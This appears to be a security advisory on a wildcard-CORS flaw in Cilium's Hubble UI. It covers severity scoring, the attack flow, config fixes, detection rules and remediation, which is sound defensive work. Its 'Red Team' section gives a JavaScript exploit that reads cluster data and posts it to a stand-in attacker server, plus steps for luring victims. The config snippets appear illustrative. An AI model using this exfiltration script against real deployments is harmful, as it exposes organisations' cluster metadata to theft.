CVE-2025-23047

Executive Summary

CVE-2025-23047 is a medium-severity vulnerability in Cilium’s Hubble UI component, affecting versions 1.14.0 through 1.14.7, 1.15.0 through 1.15.11, and 1.16.0 through 1.16.4. The issue stems from an insecure default Access-Control-Allow-Origin header value, which can be exploited via a Cross-Origin Request (CORS) misconfiguration. An attacker who tricks a victim into visiting a malicious webpage can exfiltrate sensitive Kubernetes cluster metadata, including node names, IP addresses, workload details, and networking configuration. The vulnerability requires user interaction (clicking a link or visiting a malicious site) and is fixed in Cilium v1.14.18, v1.15.12, and v1.16.5. A workaround exists for Helm-based deployments by removing the CORS headers from the template.

Supply Chain & Package Security

Cilium is distributed as a container image and via Helm charts. The vulnerability is introduced in the Hubble UI component, which is part of the Cilium ecosystem. Users deploying Hubble UI via Cilium CLI or Helm chart are affected. The patch is available in the official Cilium repository and container registries. Organizations should verify their deployment method and apply the fix or workaround immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit a malicious page)
• Scope: Unchanged
• Confidentiality Impact: High (sensitive cluster metadata exposed)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction, but the potential data exposure (node names, IPs, workload metadata) can aid further attacks like lateral movement or targeted exploitation.

Deep Dive & Mechanics

The vulnerability lies in the Hubble UI component, which provides a web-based interface for visualizing Cilium network policies and cluster state. Hubble UI sets an insecure default Access-Control-Allow-Origin header to * (or a wildcard pattern) in its HTTP responses. This allows any website to make cross-origin requests to the Hubble UI instance and read the response.

Attack Flow:

1. An attacker hosts a malicious webpage that contains JavaScript making an XMLHttpRequest or fetch to the victim’s Hubble UI endpoint.
2. The victim, authenticated to the Hubble UI (e.g., via a browser session or internal network access), visits the malicious page.
3. The browser sends the request to Hubble UI, which responds with sensitive cluster data (e.g., node names, IPs, workload metadata).
4. The malicious page reads the response and exfiltrates it to the attacker’s server.

Root Cause: The CORS header is set to allow all origins without proper validation, violating the same-origin policy. The fix restricts the Access-Control-Allow-Origin header to the specific origin of the Hubble UI deployment.

Vulnerable vs. Patched Code

Vulnerable Code (Cilium Helm chart template):

# In Hubble UI deployment template
apiVersion: v1
kind: ConfigMap
metadata:
  name: hubble-ui-config
data:
  config.json: |
    {
      "cors-origin": "*"
    }

Patched Code (after commit a3489f190ba6e87b5336ee685fb6c80b1270d06d):

# In Hubble UI deployment template
apiVersion: v1
kind: ConfigMap
metadata:
  name: hubble-ui-config
data:
  config.json: |
    {
      "cors-origin": "http://localhost:8080"
    }

The patch changes the default CORS origin from * to a specific origin (e.g., http://localhost:8080), preventing cross-origin data exfiltration.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A victim with access to a vulnerable Hubble UI instance (e.g., internal network).
• The victim must use a browser that supports CORS.

Exploitation Steps:

1. Set up a malicious webpage with the following JavaScript:

// Exploit script for CVE-2025-23047
fetch('http://<victim-hubble-ui>/api/v1/namespaces')
  .then(response => response.json())
  .then(data => {
    // Exfiltrate data to attacker-controlled server
    fetch('http://attacker-server/exfil', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });

2. Host the page on an attacker-controlled domain.
3. Trick the victim into visiting the page (e.g., via phishing email or social engineering).
4. The victim’s browser sends a cross-origin request to Hubble UI, and the response is exfiltrated.

Expected Output: The attacker receives Kubernetes cluster metadata, including node names, IP addresses, and workload details.

Blue Team (Detection & Response)

Detection:

• Monitor for unusual cross-origin requests to Hubble UI endpoints (e.g., Origin header not matching expected internal domains).
• Look for HTTP requests to Hubble UI from external IPs or unexpected referrers.

Response:

• Immediately apply the patch or workaround.
• Review access logs for Hubble UI to identify potential data exfiltration.
• Rotate any exposed credentials or tokens.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to Hubble UI with Origin header set to an external domain.
  • Outbound connections from Hubble UI to unknown external IPs (if exfiltration occurs).
• File IOCs:
  • Hubble UI configuration with "cors-origin": "*" in config.json.
• Log IOCs:
  • Hubble UI access logs showing Access-Control-Allow-Origin: * in response headers.

Detection Engineering

YARA Rule

rule CVE_2025_23047_Hubble_UI_CORS {
  meta:
    description = "Detects insecure CORS configuration in Hubble UI config files"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2025-23047"
  strings:
    $cors_wildcard = /"cors-origin"\s*:\s*"\*"/
  condition:
    $cors_wildcard
}

Sigma Rule

title: CVE-2025-23047 - Hubble UI Insecure CORS Configuration
id: 8a3f2c1e-5d7b-4a9f-8c2e-1b3d4e5f6a7b
status: experimental
description: Detects HTTP responses from Hubble UI with insecure CORS headers
author: Valters IT
date: 2025-04-10
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-23047
logsource:
  category: webserver
  product: hubble-ui
detection:
  selection:
    response_header: "Access-Control-Allow-Origin: *"
  condition: selection
falsepositives:
  - Legitimate internal testing with wildcard CORS
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23047 - Hubble UI Insecure CORS Header"; flow:to_client; content:"Access-Control-Allow-Origin: *"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Cilium to v1.14.18, v1.15.12, or v1.16.5 (or later).
2. Workaround: For Helm-based deployments, remove the CORS headers from the Hubble UI template as shown in the patch commit.

Long-Term Measures:

• Implement strict CORS policies for all web-facing components.
• Regularly audit Kubernetes cluster configurations for insecure defaults.
• Use network segmentation to limit access to Hubble UI to trusted IPs only.

Verification:

• After patching, verify that the Access-Control-Allow-Origin header is set to a specific origin (e.g., http://localhost:8080) and not *.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert